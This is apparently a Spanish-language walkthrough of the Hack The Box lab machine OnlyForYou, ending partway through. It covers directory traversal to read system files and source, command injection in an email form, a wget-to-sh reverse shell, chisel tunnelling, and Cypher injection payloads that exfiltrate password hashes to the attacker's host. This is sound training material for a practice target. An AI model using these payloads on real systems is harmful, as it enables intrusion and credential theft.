This page looks best with JavaScript enabled

Hack The Box - OnlyForYou

En OnlyForYou encontramos una vulnerabilidad de Directory Traversal que nos permitio obtener el codigo fuente de la aplicacion web por donde logramos acceder tras descubrir una vulnerabilidad de Command Injection. Logramos obtener credenciales con Cypher Injection en una segunda aplicacion web. Finalmente escalamos privilegios con la creacion de un paquete de Python que es instalado con permisos privilegiados.

Nombre OnlyForYou box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.210
Maker

0xM4hm0ud

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.3, 6.1, 5.5, 4.5, 3.9],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.93 scan initiated Tue Jun 13 15:00:30 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.210
Nmap scan report for 10.10.11.210
Host is up (0.083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
|   256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_  256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 13 15:00:43 2023 -- 1 IP address (1 host up) scanned in 12.58 seconds

Web Site

Los headers del sitio indican una redireccion al dominio only4you.htb, ademas muestra que esta corriendo en nginx.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/onlyforyou ❯ curl -sI 10.10.11.210
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 13 Jun 2023 19:00:50 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://only4you.htb/

 π ~/htb/onlyforyou ❯

El sitio web aparentemente es un sitio estatico. En la parte del FAQ encontramos un “producto” en fase beta y se muestra un subdominio: beta.only4you.htb.

image

1
2
3
<p>
  We have some beta products to test. You can check it <a href="http://beta.only4you.htb">here</a>
</p>

Directory Brute Forcing

feroxbuster muestra contenido mayormente del “directorio” static/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 π ~/htb/onlyforyou ❯ feroxbuster -u http://only4you.htb/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://only4you.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       37l       58w      674c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        9l      155w     5417c http://only4you.htb/static/vendor/purecounter/purecounter_vanilla.js
200      GET        7l       27w     3309c http://only4you.htb/static/img/apple-touch-icon.png
200      GET      274l      604w     6492c http://only4you.htb/static/js/main.js
200      GET        1l      233w    13749c http://only4you.htb/static/vendor/glightbox/css/glightbox.min.css
200      GET        9l       23w      847c http://only4you.htb/static/img/favicon.png
200      GET     1936l     3839w    34056c http://only4you.htb/static/css/style.css
200      GET       12l      557w    35445c http://only4you.htb/static/vendor/isotope-layout/isotope.pkgd.min.js
200      GET       71l      380w    30729c http://only4you.htb/static/img/testimonials/testimonials-3.jpg
200      GET        1l      313w    14690c http://only4you.htb/static/vendor/aos/aos.js
200      GET        1l      218w    26053c http://only4you.htb/static/vendor/aos/aos.css
200      GET      112l      805w    65527c http://only4you.htb/static/img/team/team-3.jpg
200      GET       90l      527w    40608c http://only4you.htb/static/img/testimonials/testimonials-5.jpg
200      GET       88l      408w    36465c http://only4you.htb/static/img/testimonials/testimonials-4.jpg
200      GET      159l      946w    71778c http://only4you.htb/static/img/team/team-1.jpg
200      GET      172l     1093w    87221c http://only4you.htb/static/img/team/team-2.jpg
200      GET       13l      171w    16466c http://only4you.htb/static/vendor/swiper/swiper-bundle.min.css
200      GET      160l      818w    71959c http://only4you.htb/static/img/testimonials/testimonials-1.jpg
200      GET        1l      625w    55880c http://only4you.htb/static/vendor/glightbox/js/glightbox.min.js
200      GET        1l      133w    66571c http://only4you.htb/static/vendor/boxicons/css/boxicons.min.css
200      GET       96l      598w    48920c http://only4you.htb/static/img/team/team-4.jpg
200      GET     1876l     9310w    88585c http://only4you.htb/static/vendor/bootstrap-icons/bootstrap-icons.css
200      GET        7l     1225w    80457c http://only4you.htb/static/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET      244l     1332w   103224c http://only4you.htb/static/img/testimonials/testimonials-2.jpg
200      GET       14l     1683w   143281c http://only4you.htb/static/vendor/swiper/swiper-bundle.min.js
200      GET     2317l    11522w   110438c http://only4you.htb/static/vendor/remixicon/remixicon.css
200      GET        7l     2208w   195498c http://only4you.htb/static/vendor/bootstrap/css/bootstrap.min.css
200      GET      673l     2150w    34125c http://only4you.htb/

beta.only4you.htb

En el subdominio beta encontramos un sitio web con la opcion para descarga de codigo fuente, tambien dos direcciones resize y convert.

image

/resize muestra un formulario para cambiar el tamano de una imagen, al enviar una imagen nos redirige a /list, sin embargo no se muestra la imagen modificada.

image
image

/convert permite cambiar de jpg a png, en este caso si retorna la imagen.

image

Source Code

Al descargar y descomprimir el archivo de codigo fuente vemos que es una aplicacion escrita en python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 π ~/htb/onlyforyou ❯ tree beta
beta
├── app.py
├── static
│ └── img
│     └── image-resize.svg
├── templates
│ ├── 400.html
│ ├── 404.html
│ ├── 405.html
│ ├── 500.html
│ ├── convert.html
│ ├── index.html
│ ├── list.html
│ └── resize.html
├── tool.py
└── uploads
    ├── convert
    ├── list
    └── resize

8 directories, 11 files
 π ~/htb/onlyforyou ❯

El codigo muestra seis rutas, de las cuales cinco, ya interactuamos.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from flask import Flask, request, send_file, render_template, flash, redirect, send_from_directory
import os, uuid, posixpath
from werkzeug.utils import secure_filename
from pathlib import Path
from tool import convertjp, convertpj, resizeimg

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['RESIZE_FOLDER'] = 'uploads/resize'
app.config['CONVERT_FOLDER'] = 'uploads/convert'
app.config['LIST_FOLDER'] = 'uploads/list'
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png']

@app.route('/', methods=['GET'])
def main():
    return render_template('index.html')

@app.route('/resize', methods=['POST', 'GET'])
def resize():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('Something went wrong, Try again!', 'danger')
            return redirect(request.url)
        file = request.files['file']
        img = secure_filename(file.filename)
        if img != '':
            ext = os.path.splitext(img)[1]
            if ext not in app.config['UPLOAD_EXTENSIONS']:
                flash('Only png and jpg images are allowed!', 'danger')
                return redirect(request.url)    
            file.save(os.path.join(app.config['RESIZE_FOLDER'], img))
            status = resizeimg(img)
            if status == False:
                flash('Image is too small! Minimum size needs to be 700x700', 'danger')
                return redirect(request.url)
            else:
                flash('Image is succesfully uploaded!', 'success')
        else:
            flash('No image selected!', 'danger')
            return redirect(request.url)
        return render_template('resize.html', clicked="True"), {"Refresh": "5; url=/list"}
    else:
        return render_template('resize.html', clicked="False")

@app.route('/convert', methods=['POST', 'GET'])
def convert():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('Something went wrong, Try again!', 'danger')
            return redirect(request.url)
        file = request.files['file']
        img = secure_filename(file.filename)
        if img != '':
            ext = os.path.splitext(img)[1]
            if ext not in app.config['UPLOAD_EXTENSIONS']:
                flash('Only jpg and png images are allowed!', 'danger')
                return redirect(request.url)    
            file.save(os.path.join(app.config['CONVERT_FOLDER'], img))
            if ext == '.png':
                image = convertpj(img)
                return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
            else:
                image = convertjp(img)
                return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
        else:
            flash('No image selected!', 'danger')
            return redirect(request.url) 
        return render_template('convert.html')
    else:
        [f.unlink() for f in Path(app.config['CONVERT_FOLDER']).glob("*") if f.is_file()]
        return render_template('convert.html')

@app.route('/source')
def send_report():
    return send_from_directory('static', 'source.zip', as_attachment=True)

@app.route('/list', methods=['GET'])
def list():
    return render_template('list.html')

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_error(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

Tambien el archivo tool.py en donde se muestran las funciones para modificar las imagenes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from flask import send_file, current_app
import os
from PIL import Image
from pathlib import Path

def convertjp(image):
    imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
    img = Image.open(imgpath)
    rgb_img = img.convert('RGB')
    file = os.path.splitext(image)[0] + '.png'
    rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
    return file

def convertpj(image):
    imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
    img = Image.open(imgpath)
    rgb_img = img.convert('RGB')
    file = os.path.splitext(image)[0] + '.jpg'
    rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
    return file

def resizeimg(image):
    imgpath = os.path.join(current_app.config['RESIZE_FOLDER'], image)
    sizes = [(100, 100), (200, 200), (300, 300), (400, 400), (500, 500), (600, 600), (700, 700)][::-1]
    img = Image.open(imgpath)
    sizeimg = img.size
    imgsize = []
    imgsize.append(sizeimg)
    for x,y in sizes:
        for a,b in imgsize:
            if a < x or b < y:
                [f.unlink() for f in Path(current_app.config['LIST_FOLDER']).glob("*") if f.is_file()]
                [f.unlink() for f in Path(current_app.config['RESIZE_FOLDER']).glob("*") if f.is_file()]
                return False
            else:
                img.thumbnail((x, y))
                if os.path.splitext(image)[1] == '.png':
                    pngfile = str(x) + 'x' + str(y) + '.png'
                    img.save(current_app.config['LIST_FOLDER'] + '/' + pngfile)
                else:
                    jpgfile = str(x) + 'x' + str(y) + '.jpg'
                    img.save(current_app.config['LIST_FOLDER'] + '/' + jpgfile)
    return True

Algo por lo que destacar es la ruta /download donde observamos que existe un tipo de “filtro” para el nombre del archivo que se desea descargar. En este caso vemos posible una vulnerabilidad de directory traversal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

Directory Traversal

Realizamos la solicitud para el archivo /etc/passwd, al ser muy simple el filtro pudimos realizar algun tipo de “bypass”, logrando obtener el archivo. Podemos destacar de este archivo dos nombres de usuario: john y dev, y neo4j.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 π ~/htb/onlyforyou ❯ curl -sX POST "http://beta.only4you.htb/download" -d 'image=/../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
john:x:1000:1000:john:/home/john:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:996:996::/var/log/laurel:/bin/false
 π ~/htb/onlyforyou ❯

Enumerando los distintos archivos conocidos, vemos la configuracion por default de nginx, donde muestra el directorio del dominio y subdominio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 π ~/htb/onlyforyou ❯ curl -sX POST "http://beta.only4you.htb/download" -d 'image=/../../../etc/nginx/sites-enabled/default'
server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
}

server {
    listen 80;
    server_name only4you.htb;

    location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
    }
}

server {
    listen 80;
    server_name beta.only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
        }
}
 π ~/htb/onlyforyou ❯

only4you.htb

El subdominio hace uso de python con flask, en este caso logramos adivinar el nombre del archivo en ejecucion, app.py.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# image=/../../../var/www/only4you.htb/app.py
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

Descubrimos que en la ruta principal existe una funcion que permite enviar emails a partir de los valores del formulario presentado al final de la pagina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from form import sendmessage

[...]

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

En form se muestra la funcion sendmessage() que hace uso de issecure() para verificar el email y direccion ip o dominio el cual es enviado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# image=/../../../var/www/only4you.htb/form.py
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
			if "include:" in output:
				dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
				dms.pop(0)
				for domain in dms:
					domains.append(domain)
				while True:
					for domain in domains:
						result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
						output = result.stdout.decode('utf-8')
						if "include:" in output:
							dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
							domains.clear()
							for domain in dms:
								domains.append(domain)
						elif "ip4:" in output:
							ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
							ipaddresses.pop(0)
							for i in ipaddresses:
								ips.append(i)
						else:
							pass
					break
			elif "ip4" in output:
				ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
				ipaddresses.pop(0)
				for i in ipaddresses:
					ips.append(i)
			else:
				return 1
		for i in ips:
			if ip == i:
				return 2
			elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
				return 2
			else:
				return 1

def sendmessage(email, subject, message, ip):
	status = issecure(email, ip)
	if status == 2:
		msg = EmailMessage()
		msg['From'] = f'{email}'
		msg['To'] = 'info@only4you.htb'
		msg['Subject'] = f'{subject}'
		msg['Message'] = f'{message}'

		smtp = smtplib.SMTP(host='localhost', port=25)
		smtp.send_message(msg)
		smtp.quit()
		return status
	elif status == 1:
		return status
	else:
		return status

Command Injection

Si observamos a detalle la funcion issecure() vemos que, si la direccion email es aceptada por la expresion regular pasa a verificar el dominio. En este observamos que se pasa el valor directamente a una ejecucion de comandos y no existe un filtro antes ocurriendo esto en dos partes del codigo, por lo que podriamos inyectar comandos y que sean ejecutados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from subprocess import PIPE, run

[...]

def issecure(email, ip):
    if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
        return 0
    else:
        domain = email.split("@", 1)[1]
        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
        output = result.stdout.decode('utf-8')
        if "v=spf1" not in output:
            return 1
        else:

        [...]

        while True:
                    for domain in domains:
                        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
                        output = result.stdout.decode('utf-8')
                        if "include:" in output:

        [...]

Ping

Llenamos el formulario y realizamos una solicitud, interceptando la solicitud y editando el valor del parametro email, agregando un ping hacia nuestra maquina y codificando el comando en URL (CTR+U en BurpSuite).

1
2
# ;ping -c 3 10.10.14.140
name=sckull&email=sckull%40only4you.htb%3bping+-c+3+10.10.14.140&subject=s&message=s

Tras enviar la solicitud obtuvimos una respuesta en nuestra maquina.

1
2
3
4
5
6
7
8
9
 π ~/htb/onlyforyou ❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:15:11.544141 IP only4you.htb > 10.10.14.140: ICMP echo request, id 3, seq 1, length 64
20:15:11.544166 IP 10.10.14.140 > only4you.htb: ICMP echo reply, id 3, seq 1, length 64
20:15:12.545233 IP only4you.htb > 10.10.14.140: ICMP echo request, id 3, seq 2, length 64
20:15:12.545253 IP 10.10.14.140 > only4you.htb: ICMP echo reply, id 3, seq 2, length 64
20:15:13.547436 IP only4you.htb > 10.10.14.140: ICMP echo request, id 3, seq 3, length 64
20:15:13.547453 IP 10.10.14.140 > only4you.htb: ICMP echo reply, id 3, seq 3, length 64

User - www-data

Ejecutamos shells y agregamos un comando para la ejecucion de una shell inversa.

1
;wget -qO- 10.10.14.112:8000/10.10.14.112:1335|sh

Tras enviar el comando obtuvimos acceso como www-data.

1
2
3
4
5
6
7
8
9
 π ~/htb/onlyforyou ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.112] from only4you.htb [10.10.11.210] 51338
/bin/sh: 0: can't access tty; job control turned off
$ whoami;pwd;id
www-data
/var/www/only4you.htb
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

User - John

Tras listar los puertos a la escucha vemos varios de los cuales podemos identificar el del sitio web, DNS y MySQL, sin embargo quedan otros tantos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1030/nginx: worker
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 127.0.0.1:7687          :::*                    LISTEN      -
tcp6       0      0 127.0.0.1:7474          :::*                    LISTEN      -
$

Reverse Proxy

Para poder acceder a estos otros puertos utilizamos un reverse proxy mediante chisel

1
2
3
4
5
# server - kali
./chisel server -p 7070 --reverse

# client - box
./chisel client 10.10.10.10:7070 R:socks

Ejecutamos chisel localmente.

1
2
3
4
5
 π ~/htb/www ❯ ./chisel_64 server -p 7070 --reverse
2023/06/13 18:03:03 server: Reverse tunnelling enabled
2023/06/13 18:03:03 server: Fingerprint 0ycH7Cr7XjLLpiFlAyhOipP3MDd0Jxiy2PxnxZ0aHPw=
2023/06/13 18:03:03 server: Listening on http://0.0.0.0:7070
2023/06/13 18:03:35 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

Y en la maquina descargamos y ejecutamos como cliente.

1
$ ./chisel_64 client 10.10.14.112:7070 R:socks

En FoxyProxy agregamos nuestra configuracion.

image

Gogs

Observamos que en el puerto 3000 corre Gogs, sin embargo no tenemos credenciales validas para acceder.

image

WebApp

En el puerto 8001 encontramos un formulario de login.

image

Logramos acceder utilizando las credenciales admin:admin y nos redirige aun dashboard.

image

Si revisamos el codigo fuente de la pagina encontramos las rutas /dashboard, /employees, /profile y /logout. Ademas vemos que se habla sobre una migracion a neo4j. Anteriormente vimos que existe el usuario neo4j en la maquina.

image

Cypher Injection

En la ruta /employees encontramos un formulario que nos permite la busqueda de empleados que, seguramente estan siendo obtenidos de la base de datos neo4j.

image

HackTricks sugiere varios payloads para una inyeccion en neo4j. Intentamos con el payload para obtener la version de Neo4j el cual funciono, observamos la version en una solicitud http en nuestro servidor.

1
2
3
4
# ' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.112/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

10.10.11.210 - - [13/Jun/2023 18:35:32] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [13/Jun/2023 18:35:32] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -

Asi mismo logramos obtener los labels los cuales son dos: user y employee.

1
2
3
4
5
6
# labels from chivato
# ' OR 1=1 WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://10.10.14.112/?'+d AS y RETURN 0 as _0//
10.10.11.210 - - [13/Jun/2023 18:47:13] "GET /?user HTTP/1.1" 200 -
10.10.11.210 - - [13/Jun/2023 18:47:14] "GET /?employee HTTP/1.1" 200 -
10.10.11.210 - - [13/Jun/2023 18:47:14] "GET /?user HTTP/1.1" 200 -
10.10.11.210 - - [13/Jun/2023 18:47:14] "GET /?employee HTTP/1.1" 200 -

Finalmente las keys de user y employee, en donde user muestra dos usuarios y dos hashes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# ' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.112/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.10.11.210 - - [13/Jun/2023 18:47:52] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [13/Jun/2023 18:47:52] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [13/Jun/2023 18:47:53] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [13/Jun/2023 18:47:53] "GET /?username=john HTTP/1.1" 200 -

# ' OR 1=1 WITH 1 as a MATCH (f:employee) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.112/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.10.11.210 - - [15/Jun/2023 20:48:04] "GET /?city=London HTTP/1.1" 200 -
10.10.11.210 - - [15/Jun/2023 20:48:04] "GET /?salary=$36,738 HTTP/1.1" 200 -
10.10.11.210 - - [15/Jun/2023 20:48:04] code 400, message Bad request syntax ('GET /?name=Sarah Jhonson HTTP/1.1')
